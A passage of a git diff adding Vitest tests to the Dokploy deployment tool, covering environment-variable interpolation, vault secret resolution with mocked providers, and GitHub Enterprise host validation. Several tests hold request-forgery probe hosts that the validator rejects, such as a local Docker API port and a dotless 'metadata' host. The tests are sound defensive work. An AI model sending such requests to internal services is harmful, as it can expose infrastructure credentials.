"PROJECT_VALUE=${{project.SHARED_VALUE}}", + "ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}", + ].join("\n"), + environment: { + project: { + env: "SHARED_VALUE=two", + }, + env: "SHARED_VALUE=beta", + }, + } as Partial), + ); + + expect(getSecretsHash(firstCommand)).not.toEqual( + getSecretsHash(secondCommand), + ); + }); +}); diff --git a/apps/dokploy/__test__/env/rollback-environment.test.ts b/apps/dokploy/__test__/env/rollback-environment.test.ts new file mode 100644 index 000000000..7d71059e0 --- /dev/null +++ b/apps/dokploy/__test__/env/rollback-environment.test.ts @@ -0,0 +1,108 @@ +import { prepareEnvironmentVariables } from "@dokploy/server/index"; +import { describe, expect, it } from "vitest"; + +const projectEnv = ` +ENVIRONMENT=staging +DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db +`; + +const environmentEnv = ` +NODE_ENV=production +POSTGRES_HOST=postgres.internal +POSTGRES_PORT=5432 +REDIS_URL=redis://redis.internal:6379 +`; + +const serviceEnv = ` +NODE_ENV=\${{environment.NODE_ENV}} +REDIS_URL=\${{environment.REDIS_URL}} +PORT=3000 +`; + +/** + * A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps + * the service env, the environment env and the project env captured at deploy time. + */ +const fullContext = { + env: serviceEnv, + environment: { + env: environmentEnv, + project: { + env: projectEnv, + }, + }, +}; + +describe("prepareEnvironmentVariables for application rollback", () => { + it("resolves environment variables from the rollback snapshot", () => { + const result = prepareEnvironmentVariables( + fullContext.env, + fullContext.environment.project.env, + fullContext.environment.env, + ); + + expect(result).toEqual([ + "NODE_ENV=production", + "REDIS_URL=redis://redis.internal:6379", + "PORT=3000", + ]); + }); + + it("resolves project and environment variables together on rollback", () => { + const rollbackEnv = ` +DATABASE_URL=\${{project.DATABASE_URL}} +POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app +ENVIRONMENT=\${{project.ENVIRONMENT}} +`; + + const result = prepareEnvironmentVariables( + rollbackEnv, + projectEnv, + environmentEnv, + ); + + expect(result).toEqual([ + "DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db", + "POSTGRES_URL=postgres://postgres.internal:5432/app", + "ENVIRONMENT=staging", + ]); + }); + + it("throws when the environment env of the snapshot is not passed", () => { + expect(() => + prepareEnvironmentVariables(fullContext.env, projectEnv), + ).toThrow("Invalid environment variable: environment.NODE_ENV"); + }); + + it("maintains precedence: service > environment > project on rollback", () => { + const conflictingProjectEnv = ` +NODE_ENV=project +API_URL=https://project.api.com +`; + + const conflictingEnvironmentEnv = ` +NODE_ENV=environment +API_URL=https://environment.api.com +`; + + const rollbackEnv = ` +NODE_ENV=service +PROJECT_API_URL=\${{project.API_URL}} +ENVIRONMENT_API_URL=\${{environment.API_URL}} +SELF_REFERENCE=\${{NODE_ENV}} +`; + + const result = prepareEnvironmentVariables( + rollbackEnv, + conflictingProjectEnv, + conflictingEnvironmentEnv, + ); + + expect(result).toEqual([ + "NODE_ENV=service", + "PROJECT_API_URL=https://project.api.com", + "ENVIRONMENT_API_URL=https://environment.api.com", + "SELF_REFERENCE=service", + ]); + }); +}); diff --git a/apps/dokploy/__test__/env/vault.test.ts b/apps/dokploy/__test__/env/vault.test.ts new file mode 100644 index 000000000..a9e18526c --- /dev/null +++ b/apps/dokploy/__test__/env/vault.test.ts @@ -0,0 +1,618 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const findMany = vi.fn(); + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + vaultProvider: { + findMany: (...args: unknown[]) => findMany(...args), + }, + }, + }, +})); + +import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils"; +import { + resolveVaultReferences, + withResolvedVaultRefs, +} from "@dokploy/server/utils/vault"; +import { azureClient } from "@dokploy/server/utils/vault/azure"; +import { dopplerClient } from "@dokploy/server/utils/vault/doppler"; +import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp"; +import { scalewayClient } from "@dokploy/server/utils/vault/scaleway"; + +const mockFetch = vi.fn(); +global.fetch = mockFetch as typeof fetch; + +const jsonResponse = (body: unknown, ok = true, status = 200) => + ({ + ok, + status, + json: async () => body, + }) as Response; + +beforeEach(() => { + findMany.mockReset(); + mockFetch.mockReset(); +}); + +const scope = { + organizationId: "org-1", + projectId: "proj-1", + environmentId: "env-1", +}; + +const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }]; + +describe("resolveVaultReferences", () => { + it("returns input untouched and skips the db when no refs are present", async () => { + const env = "FOO=bar\nBAZ=${{project.QUX}}"; + const result = await resolveVaultReferences(env, scope); + expect(result).toBe(env); + expect(findMany).not.toHaveBeenCalled(); + }); + + it("returns null/empty inputs unchanged", async () => { + expect(await resolveVaultReferences(null, scope)).toBeNull(); + expect(await resolveVaultReferences("", scope)).toBe(""); + }); + + it("throws when refs exist but no organization context is given", async () => { + await expect( + resolveVaultReferences("FOO=${{vault.prod.SECRET}}"), + ).rejects.toThrow("not supported in this context"); + }); + + it("throws for an unknown provider", async () => { + findMany.mockResolvedValue([]); + await expect( + resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope), + ).rejects.toThrow('Vault provider "missing" not found'); + }); + + it("throws when the provider is not assigned to the project", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [{ projectId: "other-project", environmentIds: [] }], + }, + ]); + await expect( + resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope), + ).rejects.toThrow("not enabled for this project/environment"); + }); + + it("throws when the provider is restricted to another environment", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [ + { projectId: "proj-1", environmentIds: ["production-env"] }, + ], + }, + ]); + await expect( + resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope), + ).rejects.toThrow("not enabled for this project/environment"); + }); + + it("allows a provider restricted to the matching environment", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }], + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" })); + const result = await resolveVaultReferences( + "FOO=${{vault.prod.SECRET}}", + scope, + ); + expect(result).toBe("FOO=value-1"); + }); + + it("resolves refs through a doppler provider", async () => { + findMany.mockResolvedValue([ + { + name: "doppler-prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue( + jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }), + ); + + const result = await resolveVaultReferences( + "DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}", + scope, + ); + + expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123"); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("throws when the secret is missing in the provider", async () => { + findMany.mockResolvedValue([ + { + name: "doppler-prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" })); + + await expect( + resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope), + ).rejects.toThrow('secret "MISSING" not found'); + }); +}); + +describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => { + it("resolves entity env sources so sync interpolation sees real values", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" })); + + const entity = { + env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db", + environment: { + environmentId: "env-1", + env: null, + project: { + projectId: "proj-1", + env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}", + organizationId: "org-1", + }, + }, + }; + + const resolved = await withResolvedVaultRefs(entity); + const prepared = prepareEnvironmentVariables( + resolved.env, + resolved.environment.project.env, + resolved.environment.env, + ); + + expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]); + }); + + it("resolves buildArgs and buildSecrets when present", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" })); + + const resolved = await withResolvedVaultRefs({ + env: "FOO=bar", + buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}", + buildSecrets: null, + environment: { + environmentId: "env-1", + env: null, + project: { projectId: "proj-1", env: null, organizationId: "org-1" }, + }, + }); + + expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123"); + expect(resolved.buildSecrets).toBeNull(); + expect(resolved.env).toBe("FOO=bar"); + }); + + it.each([ + ["service env", { env: "SECRET=${{vault.locked.X}}" }], + ["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }], + ["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }], + ["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }], + ])( + "rejects a ref to an unassigned provider placed in the %s", + async (_source, overrides) => { + findMany.mockResolvedValue([ + { + name: "locked", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [{ projectId: "other-project", environmentIds: [] }], + }, + ]); + + const entity = { + env: (overrides as { env?: string }).env ?? "FOO=bar", + buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null, + environment: { + environmentId: "env-1", + env: + (overrides as { environmentEnv?: string }).environmentEnv ?? null, + project: { + projectId: "proj-1", + env: (overrides as { projectEnv?: string }).projectEnv ?? null, + organizationId: "org-1", + }, + }, + }; + + await expect(withResolvedVaultRefs(entity)).rejects.toThrow( + "not enabled for this project/environment", + ); + expect(mockFetch).not.toHaveBeenCalled(); + }, + ); + + it("rejects a ref restricted to another environment from the environment env", async () => { + findMany.mockResolvedValue([ + { + name: "prod-only", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [ + { projectId: "proj-1", environmentIds: ["production-env"] }, + ], + }, + ]); + + await expect( + withResolvedVaultRefs({ + env: null, + environment: { + environmentId: "dev-env", + env: "SECRET=${{vault.prod-only.X}}", + project: { projectId: "proj-1", env: null, organizationId: "org-1" }, + }, + }), + ).rejects.toThrow("not enabled for this project/environment"); + expect(mockFetch).not.toHaveBeenCalled(); + }); + + it("prepareEnvironmentVariables throws on unresolved vault refs", () => { + expect(() => + prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""), + ).toThrow("Unresolved vault reference"); + }); + + it("keeps working without vault refs", () => { + const prepared = prepareEnvironmentVariables( + "FOO=${{project.BAR}}", + "BAR=baz", + ); + expect(prepared).toEqual(["FOO=baz"]); + expect(findMany).not.toHaveBeenCalled(); + }); +}); + +describe("hashicorp client", () => { + const config = { + providerType: "hashicorp" as const, + url: "https://vault.example.com", + token: "hvs.token", + mount: "secret", + }; + + it("rejects refs without a field", async () => { + await expect( + hashicorpClient.getSecrets(config, ["myapp/prod"]), + ).rejects.toThrow("expected format :"); + }); + + it("groups refs by path and picks fields from KV v2 data", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }), + ); + + const result = await hashicorpClient.getSecrets(config, [ + "myapp/prod:USER", + "myapp/prod:PASS", + ]); + + expect(result).toEqual({ + "myapp/prod:USER": "admin", + "myapp/prod:PASS": "pw", + }); + expect(mockFetch).toHaveBeenCalledTimes(1); + expect(mockFetch.mock.calls[0]?.[0]).toBe( + "https://vault.example.com/v1/secret/data/myapp/prod", + ); + }); + + it("throws when a field is missing", async () => { + mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } })); + await expect( + hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]), + ).rejects.toThrow('field "MISSING" not found'); + }); + + it("lists full path:field refs by walking directories", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("/metadata?list=true")) { + return jsonResponse({ data: { keys: ["myapp/", "shared"] } }); + } + if (url.includes("/metadata/myapp?list=true")) { + return jsonResponse({ data: { keys: ["prod"] } }); + } + if (url.includes("/data/myapp/prod")) { + return jsonResponse({ + data: { data: { API_KEY: "a", DB_PASSWORD: "b" } }, + }); + } + if (url.includes("/data/shared")) { + return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } }); + } + return jsonResponse({}, false, 404); + }); + + const names = await hashicorpClient.listSecretNames?.(config); + + expect(names).toEqual([ + "myapp/prod:API_KEY", + "myapp/prod:DB_PASSWORD", + "shared:STRIPE_KEY", + ]); + }); +}); + +describe("azure client", () => { + const config = { + providerType: "azure" as const, + vaultUri: "https://my-vault.vault.azure.net", + tenantId: "tenant-1", + clientId: "client-1", + clientSecret: "secret-1", + }; + + it("authenticates and reads secrets by name", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("login.microsoftonline.com/tenant-1")) { + return jsonResponse({ access_token: "azure-token" }); + } + if (url.includes("/secrets/db-password?")) { + return jsonResponse({ value: "azure-pw" }); + } + return jsonResponse({}, false, 404); + }); + + const result = await azureClient.getSecrets(config, ["db-password"]); + + expect(result).toEqual({ "db-password": "azure-pw" }); + }); + + it("throws a clear error for missing secrets", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("login.microsoftonline.com")) { + return jsonResponse({ access_token: "azure-token" }); + } + return jsonResponse({}, false, 404); + }); + + await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow( + 'secret "nope" not found', + ); + }); + + it("lists secret names from paged results", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("login.microsoftonline.com")) { + return jsonResponse({ access_token: "azure-token" }); + } + if (url.includes("skiptoken")) { + return jsonResponse({ + value: [{ id: `${config.vaultUri}/secrets/second` }], + nextLink: null, + }); + } + return jsonResponse({ + value: [{ id: `${config.vaultUri}/secrets/first` }], + nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`, + }); + }); + + const names = await azureClient.listSecretNames?.(config); + + expect(names).toEqual(["first", "second"]); + }); +}); + +describe("doppler client", () => { + it("propagates auth errors with the status code", async () => { + mockFetch.mockResolvedValue(jsonResponse({}, false, 401)); + await expect( + dopplerClient.getSecrets( + { providerType: "doppler", serviceToken: "bad" }, + ["FOO"], + ), + ).rejects.toThrow("status 401"); + }); +}); + +describe("scaleway client", () => { + const config = { + providerType: "scaleway" as const, + region: "fr-par", + projectId: "project-1", + secretKey: "scw-secret-key", + apiUrl: "https://api.scaleway.com", + }; + + const accessResponse = (value: string) => + jsonResponse({ + secret_id: "secret-1", + revision: 1, + data: Buffer.from(value).toString("base64"), + }); + + it("reads a secret by name from the root path and decodes the payload", async () => { + mockFetch.mockResolvedValue(accessResponse("postgres://real")); + + const result = await scalewayClient.getSecrets(config, ["db-url"]); + + expect(result).toEqual({ "db-url": "postgres://real" }); + expect(mockFetch).toHaveBeenCalledTimes(1); + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toBe( + "https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F", + ); + expect((init.headers as Record)["X-Auth-Token"]).toBe( + "scw-secret-key", + ); + }); + + it("sends the folder of a path-qualified ref as secret_path", async () => { + mockFetch.mockResolvedValue(accessResponse("value")); + + await scalewayClient.getSecrets(config, ["prod/db/password"]); + + expect(mockFetch.mock.calls[0]?.[0]).toContain( + "secret_name=password&secret_path=%2Fprod%2Fdb", + ); + }); + + it("extracts a field from a JSON secret and fetches the secret once", async () => { + mockFetch.mockResolvedValue( + accessResponse(JSON.stringify({ user: "admin", port: 5432 })), + ); + + const result = await scalewayClient.getSecrets(config, [ + "db-creds:user", + "db-creds:port", + ]); + + expect(result).toEqual({ + "db-creds:user": "admin", + "db-creds:port": "5432", + }); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("throws when the secret is not JSON but a field is requested", async () => { + mockFetch.mockResolvedValue(accessResponse("plain-value")); + + await expect( + scalewayClient.getSecrets(config, ["db-creds:user"]), + ).rejects.toThrow("is not JSON"); + }); + + it("throws when the requested field is missing", async () => { + mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" }))); + + await expect( + scalewayClient.getSecrets(config, ["db-creds:password"]), + ).rejects.toThrow('field "password" not found'); + }); + + it("throws a clear error for a missing secret", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ message: "not found" }, false, 404), + ); + + await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow( + 'secret "nope" not found in path "/"', + ); + }); + + it("reports authentication failures with the API message", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ message: "denied authentication" }, false, 403), + ); + + await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow( + "authentication failed (status 403: denied authentication)", + ); + }); + + it("throws when the secret has no enabled version", async () => { + mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" })); + + await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow( + "has no enabled version", + ); + }); + + it("rejects a ref without a secret name", async () => { + await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow( + "expected format or /[:field]", + ); + }); + + it("tests the connection against the secrets listing", async () => { + mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 })); + + await scalewayClient.testConnection(config); + + expect(mockFetch.mock.calls[0]?.[0]).toBe( + "https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1", + ); + }); + + it("lists secret names with their folder prefix", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ + secrets: [ + { id: "1", name: "db-url", path: "/" }, + { id: "2", name: "password", path: "/prod/db" }, + ], + total_count: 2, + }), + ); + + const names = await scalewayClient.listSecretNames?.(config); + + expect(names).toEqual(["db-url", "prod/db/password"]); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("follows pagination until a short page is returned", async () => { + const page = (start: number, size: number) => + jsonResponse({ + secrets: Array.from({ length: size }, (_, index) => ({ + id: String(start + index), + name: `secret-${start + index}`, + path: "/", + })), + }); + mockFetch.mockImplementation(async (url: string) => + url.includes("page=2") ? page(101, 2) : page(1, 100), + ); + + const names = await scalewayClient.listSecretNames?.(config); + + expect(names).toHaveLength(102); + expect(mockFetch).toHaveBeenCalledTimes(2); + }); + + it("resolves env refs end to end through a scaleway provider", async () => { + findMany.mockResolvedValue([ + { + name: "scw-prod", + providerType: "scaleway", + config, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(accessResponse("s3cret")); + + const result = await resolveVaultReferences( + "DB_PASSWORD=${{vault.scw-prod.prod/db-password}}", + scope, + ); + + expect(result).toBe("DB_PASSWORD=s3cret"); + }); +}); diff --git a/apps/dokploy/__test__/git-provider/github-clone-host.test.ts b/apps/dokploy/__test__/git-provider/github-clone-host.test.ts new file mode 100644 index 000000000..93e8d0049 --- /dev/null +++ b/apps/dokploy/__test__/git-provider/github-clone-host.test.ts @@ -0,0 +1,106 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// cloneGithubRepository builds a shell command; the only thing under test here +// is which host ends up in the clone URL, so the app auth is stubbed out. +const mockFindGithubById = vi.hoisted(() => vi.fn()); + +vi.mock("@dokploy/server/services/github", () => ({ + findGithubById: mockFindGithubById, +})); + +vi.mock("@octokit/auth-app", () => ({ + createAppAuth: vi.fn(), +})); + +vi.mock("octokit", () => ({ + Octokit: class { + auth = async () => ({ token: "gh-token" }); + }, +})); + +const { cloneGithubRepository } = await import( + "@dokploy/server/utils/providers/github" +); + +const provider = (githubUrl: string) => ({ + githubId: "gh-1", + githubUrl, + githubAppId: 1, + githubPrivateKey: "key", + githubInstallationId: "42", +}); + +const clone = async () => { + const command = await cloneGithubRepository({ + appName: "my-app", + owner: "acme", + repository: "web", + branch: "main", + githubId: "gh-1", + enableSubmodules: false, + serverId: null, + }); + return command.replace(/\\/g, ""); +}; + +describe("cloneGithubRepository host", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it("clones from github.com for a default provider", async () => { + mockFindGithubById.mockResolvedValue(provider("https://github.com")); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@github.com/acme/web.git", + ); + expect(command).not.toContain("ghe.com"); + }); + + it("clones from the Enterprise host, not github.com", async () => { + mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com")); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@acme.ghe.com/acme/web.git", + ); + expect(command).not.toContain("github.com"); + }); + + it("clones from a self-hosted Enterprise Server host", async () => { + mockFindGithubById.mockResolvedValue( + provider("https://github.corp.acme.com"), + ); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@github.corp.acme.com/acme/web.git", + ); + }); + + it("keeps an explicit port in the clone host", async () => { + mockFindGithubById.mockResolvedValue( + provider("https://github.acme.com:8443"), + ); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@github.acme.com:8443/acme/web.git", + ); + }); + + it("falls back to github.com for a provider stored before this feature", async () => { + mockFindGithubById.mockResolvedValue(provider("")); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@github.com/acme/web.git", + ); + }); +}); diff --git a/apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts b/apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts new file mode 100644 index 000000000..07d452dea --- /dev/null +++ b/apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts @@ -0,0 +1,168 @@ +import { + DEFAULT_GITHUB_API_URL, + DEFAULT_GITHUB_URL, + deriveGithubApiUrl, + normalizeGithubUrl, + parseGithubBaseUrl, +} from "@dokploy/server/utils/providers/github"; +import { describe, expect, it } from "vitest"; + +const urlOf = (result: ReturnType) => + "url" in result ? result.url : null; + +describe("normalizeGithubUrl", () => { + it("defaults to github.com when empty", () => { + expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL); + expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL); + expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL); + expect(normalizeGithubUrl(" ")).toBe(DEFAULT_GITHUB_URL); + }); + + it("assumes https when no scheme is given", () => { + expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com"); + }); + + it("strips paths, queries and trailing slashes", () => { + expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe( + "https://acme.ghe.com", + ); + expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe( + "https://acme.ghe.com", + ); + expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe( + "https://github.acme.com", + ); + }); + + it("keeps an explicit port", () => { + expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe( + "https://github.acme.com:8443", + ); + }); + + it("falls back to github.com on unusable input", () => { + expect(normalizeGithubUrl("ftp://github.acme.com")).toBe( + DEFAULT_GITHUB_URL, + ); + expect(normalizeGithubUrl("http://github.internal")).toBe( + DEFAULT_GITHUB_URL, + ); + expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL); + }); +}); + +describe("parseGithubBaseUrl", () => { + it("accepts github.com and Enterprise hosts", () => { + expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe( + "https://acme.ghe.com", + ); + // A self-hosted instance behind the corporate network is a valid target. + expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe( + "https://github.corp.acme.com", + ); + expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe( + "https://github.acme.com:8443", + ); + }); + + it("treats an absent value as github.com", () => { + // Not specified is different from specified wrong. + expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL); + expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL); + expect(urlOf(parseGithubBaseUrl(" "))).toBe(DEFAULT_GITHUB_URL); + }); + + it("rejects plaintext http", () => { + expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error"); + expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error"); + }); + + it("rejects dotless hostnames", () => { + expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error"); + expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error"); + }); + + it("rejects a dotless hostname hidden behind the DNS root label", () => { + // "metadata." resolves like "metadata" but the trailing dot would satisfy + // a naive `includes(".")` check. + expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error"); + expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error"); + }); + + it("never falls back to github.com on a typo", () => { + // The symptom that opened the ticket: a provider silently pointing at + // github.com and reporting that it cannot find the repositories. + for (const typo of [ + "htps://acme.ghe.com", + "ftp://acme.ghe.com", + "https://", + "acme .ghe.com", + ]) { + const result = parseGithubBaseUrl(typo); + expect(result, typo).toHaveProperty("error"); + expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL); + } + }); +}); + +describe("deriveGithubApiUrl", () => { + it("maps github.com to api.github.com", () => { + expect(deriveGithubApiUrl("https://github.com")).toBe( + DEFAULT_GITHUB_API_URL, + ); + expect(deriveGithubApiUrl("https://www.github.com")).toBe( + DEFAULT_GITHUB_API_URL, + ); + expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL); + }); + + it("prefixes api. for data residency tenants", () => { + expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe( + "https://api.acme.ghe.com", + ); + expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe( + "https://api.americancreditacceptance.ghe.com", + ); + }); + + it("uses /api/v3 for Enterprise Server", () => { + expect(deriveGithubApiUrl("https://github.acme.com")).toBe( + "https://github.acme.com/api/v3", + ); + expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe( + "https://github.acme.com:8443/api/v3", + ); + }); + + it("does not treat a lookalike host as data residency", () => { + // Must not match the .ghe.com branch just because the string contains it. + expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe( + "https://ghe.com.acme.io/api/v3", + ); + }); + + it("still detects data residency behind the DNS root label", () => { + // "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall + // through to the /api/v3 branch. + expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe( + "https://api.acme.ghe.com", + ); + }); + + it("maps www.github.com, which a user may well type", () => { + // Not dead weight: GitHub never redirects a manifest there, but the value + // comes from a text field. Without this it would derive + // https://www.github.com/api/v3. + expect(deriveGithubApiUrl("https://www.github.com")).toBe( + DEFAULT_GITHUB_API_URL, + ); + }); +}); + +describe("providers created before Enterprise support", () => { + it("keeps pointing at github.com", () => { + // The column defaults to https://github.com, but a null must not break it. + expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL); + expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com"); + }); +}); diff --git a/apps/dokploy/__test__/git-provider/github-setup-handler.test.ts b/apps/dokploy/__test__/git-provider/github-setup-handler.test.ts new file mode 100644 index 000000000..840ccb1ec --- /dev/null +++ b/apps/dokploy/__test__/git-provider/github-setup-handler.test.ts @@ -0,0 +1,143 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// The gh_init branch runs on a GET the user can be linked into, so a rejected +// host must produce a 400 *before* any outbound request is made. +const mockValidateRequest = vi.hoisted(() => vi.fn()); +const mockHasPermission = vi.hoisted(() => vi.fn()); +const mockCreateGithub = vi.hoisted(() => vi.fn()); +const mockOctokitRequest = vi.hoisted(() => vi.fn()); + +vi.mock("@dokploy/server", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + validateRequest: mockValidateRequest, + createGithub: mockCreateGithub, + }; +}); + +vi.mock("@dokploy/server/services/permission", () => ({ + hasPermission: mockHasPermission, +})); + +vi.mock("octokit", () => ({ + Octokit: class { + request = mockOctokitRequest; + }, +})); + +const { default: handler } = await import("@/pages/api/providers/github/setup"); + +const ORG = "org-1"; +const USER = "user-1"; + +const buildRes = () => { + const res = { + statusCode: 0, + body: undefined as unknown, + redirectedTo: undefined as string | undefined, + status(code: number) { + res.statusCode = code; + return res; + }, + json(payload: unknown) { + res.body = payload; + return res; + }, + redirect(_code: number, url: string) { + res.redirectedTo = url; + return res; + }, + }; + return res; +}; + +const call = async (githubUrl?: string | string[]) => { + const res = buildRes(); + const req = { + query: { + code: "manifest-code", + state: `gh_init:${ORG}:${USER}`, + ...(githubUrl === undefined ? {} : { githubUrl }), + }, + headers: {}, + } as unknown as Parameters[0]; + + await handler(req, res as unknown as Parameters[1]); + return res; +}; + +describe("github setup handler — host validation", () => { + beforeEach(() => { + vi.clearAllMocks(); + mockValidateRequest.mockResolvedValue({ + user: { id: USER }, + session: { activeOrganizationId: ORG }, + }); + mockHasPermission.mockResolvedValue(true); + mockOctokitRequest.mockResolvedValue({ + data: { + name: "Dokploy", + html_url: "https://acme.ghe.com/apps/dokploy", + id: 1, + client_id: "cid", + client_secret: "csecret", + webhook_secret: "wsecret", + pem: "key", + }, + }); + mockCreateGithub.mockResolvedValue(undefined); + }); + + it.each([ + ["http://acme.ghe.com", "plaintext http"], + ["http://localhost:2375", "internal service over http"], + ["https://metadata", "dotless hostname"], + ["htps://acme.ghe.com", "scheme typo"], + ])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => { + const res = await call(githubUrl); + + expect(res.statusCode).toBe(400); + 